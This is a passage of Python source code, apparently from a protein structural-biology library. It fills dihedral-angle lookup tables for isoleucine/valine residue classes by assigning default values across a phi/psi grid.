IleVal_nonxpro[(160, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(160, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(170, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_xpro = cdl_database["IleVal_xpro"]
IleVal_xpro[(-180, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-180, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-170, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-160, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-150, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-140, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-130, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-120, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-110, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-100, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-90, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, -150)]=IleVal_xpro[(-180, -180)]
